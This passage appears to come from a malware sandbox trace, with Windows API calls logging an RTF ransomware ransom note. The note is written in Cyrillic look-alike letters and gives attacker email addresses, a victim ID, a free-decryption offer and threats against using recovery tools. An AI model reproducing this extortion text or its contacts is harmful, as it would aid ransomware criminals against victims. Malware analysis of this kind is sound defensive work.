\\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0034.977] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir 